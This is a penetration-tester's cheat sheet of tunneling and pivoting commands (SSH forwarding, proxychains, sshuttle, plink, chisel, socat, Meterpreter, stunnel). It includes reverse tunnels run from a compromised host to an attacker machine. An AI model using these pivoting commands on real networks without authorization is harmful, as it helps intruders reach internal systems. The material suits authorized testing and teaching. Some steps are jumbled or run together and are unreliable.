Tunneling/Port Forwarding Cheat Sheet
This cheat sheet contains known and common techniques for port forwarding and tunneling that we often use during engagements.
It is inspired by (and we believe extends) the following:
- https://book.hacktricks.xyz/tunneling-and-port-forwarding
- https://www.offensive-security.com/metasploit-unleashed/
- https://www.youtube.com/watch?v=JDlt5U52YMA
Summary
- SSH Local Port Forwarding
- SSH Remote Port Forwarding
- Proxychains
- Sshuttle
- Redsocks
- Plink
- Chisel
- Socat
- Metasploit
- Stunnel
SSH Local Port Forwarding
Brings a port from the remote machine to your attacking machine:
ssh -N -L [IP_of_Interface(optional)]:[end_port]:[victim_ip]:[victim_port] [victim_user]@[victim_ip]
Note: The above command is run at your attacking machine.
The victim_ip is the IP of the system whose port you want to forward on your attacking host.
The [IP_of_Interface(optional)] can be omitted, or set to 0.0.0.0 so as to set a bind port for all interfaces.
The -N can be omitted, as it doesn't enable ssh command execution, it's there to be useful when forwarding ports.
example: ssh -N -L 0.0.0.0:9999:192.168.67.132:80 [email protected]
After the above command is run, the remote httpd service can be accessed by your local port 9999.
SSH Remote Port Forwarding
Brings a port from a machine in the internal victim's network to your attacking machine:
ssh -N -R [your_ssh_server_interface]:[your_port]:[victim_ip]:[victim_port_you_want_to_forward] [attacker_username]@[your_ssh_server_ip]
The your_ssh_server_interface: can be omitted.
The -N can be omitted, as it doesn't enable ssh command execution, it's there to be useful when forwarding ports.
Note: The above command is run at a compromised machine inside the target network.
example: ssh -N -R 192.168.67.1:4445:192.168.67.128:445 [email protected]
After the above command is run, port 445 of host 192.168.67.128 (which is different from the compromised machine) is forwarded at the ssh server of IP 192.168.67.1.
The victim_ip can be set to 127.0.0.1. This means that a local (in relation to where the command is run) port will be forwarded to the target ssh server
For this to work, you need the following configuration at your SSH server (/etc/ssh/sshd_config):
GatewayPorts yes
Proxychains
When you want to forward many target ports in a dynamic manner, using ssh you can create such a dynamic tunnel with the -D switch. Then, using this tunnel and proxychains you can forward all scans/traffic through ssh for every requested port in a dynamic manner.
Configure proxychains.conf (attacker's machine)
At the attacker's machine, make sure proxychains is installed. The default configuration settings are ok (/etc/proxychains.conf):
#proxy_dns
socks4 127.0.0.1 9050
You can use socks5, http or https protocol. ICMP is not supported.
Dynamic port forwarding via ssh
We create a dynamic application-level port forwarding from the attacking machine to the victim machine, by running the following at the attacker's machine:
ssh -fND [proxychains.conf_port] [victim_username]@[victim_host]The -f requests ssh to run in background just before command execution.
The -N can be omitted, as it doesn't enable ssh command execution, it's there to be useful when forwarding ports.
We verify the successful tunnel creation with ss -lt4pn, where we should see something like this:
LISTEN 0 128 127.0.0.1:9050 0.0.0.0:* users:(("ssh",pid=31697,fd=5))Then, we can execute supported tools with proxychains so as to tunnel them through our ssh tunnel:
proxychains [tool]
e.g.:
proxychains smbclient -L 172.16.45.130or
sudo proxychains nmap -sVT 172.16.45.130 -PnRemember that proxychains doesn't support icmp and therefore we should use relevant flags in nmap and other tools.
Sshuttle
Set a VPN through ssh.
Requirements:
- root access to the attacking machine
- simple user access at the ssh server
The simplest form is to run this from the attacker machine:
sudo sshuttle -vNHr victim_user@victim_hostThe above command will create iptables nat rules to forward all networks that victim_host is connected to back to the attacker.
-Hautomatically updates the local/etc/hostswith maching remote hostnames-Nautomatically attempts to route all subnets of the ssh server
Then, the attacker can simply use a tool to connect to the desired host/port inside the internal network, which is normally inacessible, e.g.:
smbclient -L 172.16.45.130If you went to use a specific ssh command to connect to the remote server, such as specifying your rsa private key, you can use the -e like so:
sshuttle -e "ssh -i id_rsa" -r victim_user@victim_host 172.168.1.0/24The above command only routes subnet 172.168.1.0/24 back to the attacker
sshuttle actually has a wealth of additional functionalities, you can further refer to its man-page.
Redsocks
Sets a TCP-to-proxy redirector through ssh.
Configure redsocks.conf
log_debug = on;
log = "stderr";
daemon = off;
local_ip = 0.0.0.0;
Configure iptables
Configure iptables in order to allow communication and redirect the requets:
echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A OUTPUT -p tcp -d [range] -j REDIRECT --to-ports 12345 && iptables -t nat -A PREROUTING -p tcp -d [range] -j REDIRECT --to-ports 12345
Example:
echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A OUTPUT -p tcp -d 172.168.1.0/24 -j REDIRECT --to-ports 12345 && iptables -t nat -A PREROUTING -p tcp -d 172.168.1.0/24 -j REDIRECT --to-ports 12345
Dynamic ssh port
Set a Dynamic Ssh port on default port 1080 of redsocks:
ssh -NfD 1080 [victim_username]@[victim_ip]
Execute redsocks
/usr/sbin/redsocks -c /etc/redsocks.conf
Plink
Remote Tunnel
cmd.exe /c echo y | plink.exe -ssh -l [attacker_username] -pw [attacker_ssh_password] -R [attacker_ip]:[attacker_port]:[victim_ip]:[victim_port] [attacker_ip]
for example, suppose you have gained access at a dual-homed host and using this access, you want to access a port at another host that is not connected to the internet (you can't directly talk to it) but is accessible from the host you have access to:
attacker_ip= 13.13.13.13attacker_port= 2222 (this is the final port that will accept the remote connection)victim_ip= 10.10.10.10 (IP of the inaccessible host)victim_port= 22 (Port of the inaccessible host that you will tunnel outside)
cmd.exe /c echo y | plink.exe -ssh -l root -pw toor -R 13.13.13.13:2222:10.10.10.10:22 13.13.13.13
Local Tunnel
If you don't want to do an SSH remote port forwarding, but a local one instead:
cmd.exe /c echo y | plink.exe -ssh -l root -pw toor -R [attacker_ip]:[attacker_port]:127.0.0.1:[victim_port] [attacker_ip]
The above command will forward the local victim_port at the host that you have access to, to your attacker_ip:attacker_port
In the commands above, the cmd.exe /c echo y | part can be ommited if you have previously accepted the server SSH certificate.
For the above to work, you need the following configuration at your SSH server:
GatewayPorts yes
Plink Troubleshooting
- Check if architecture of plink and target system are compitable (32 bit & 64 bit).
- Check the version of plink, find newest version here
- Key exchange algorithm troubleshooting:
- FATAL ERROR: Couldn't agree a key exchange algorithm (available: curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256).
- Solution: Try to edit /etc/ssh/sshd_config and put the following to the top of the file:
Stop ssh from attackers machine:KexAlgorithms +diffie-hellman-group1-sha1 Ciphers +aes128-cbcRegenerate the keys:systemctl stop sshStart ssh again:ssh-keygen -AUse again the plink (Victim machine)systemctl start ssh
Chisel
Chisel Tunneling
You need to use the same version for client and server of chisel.
Server side (Attacker):
chisel server -p 8080 --reverse
Client Side (Victim):
chisel-x64.exe client [my_ip]:8080 R:socks
After that use proxychains with port 1080 (default).
Aftes version 1.5.0 chisel uses socks5 proxy.
Chisel Port Forwarding
You need to use the same version for client and server of chisel.
Server side (Attacker):
chisel server -p 12312 --reverse
Client Side (Victim):
chisel client [my_ip]:12312 R:[port]:127.0.0.1:[port]
Socat
Socat Port Forwarding
socat TCP-LISTEN:[victim_port],fork,reuseaddr TCP:[redirect_ip]:[exposed_port]
Metasploit
Meterpreter Local Port Forwarding
portfwd add –l [local_port] –p [exposed_port] –r [target_host]
More info about portfwd here
Stunnel
Tunnel Plaintext Connections Through TLS
use this conf at the compromised machine to forward connections from its localhost 80 to remote target over TLS/SSL:
Edit /etc/stunnel/stunnel.conf
; Sample stunnel configuration file for Unix by Michal Trojnara 1998-2020
; Make sure you keep the default first line, as it contains some special
; chars that are needed
setuid = stunnel
setgid = stunnel
[trivial client]
client = yes
accept = 127.0.0.1:80
connect = www.google.com:443
debug = 3
PSKsecrets = /etc/stunnel/psk.txt
setuid = stunnel
setgid = stunnel
Generate a psk: openssl rand -base64 180 | tr -d '\n' | sed '1s/^/psk:/' > /etc/stunnel/psk.txt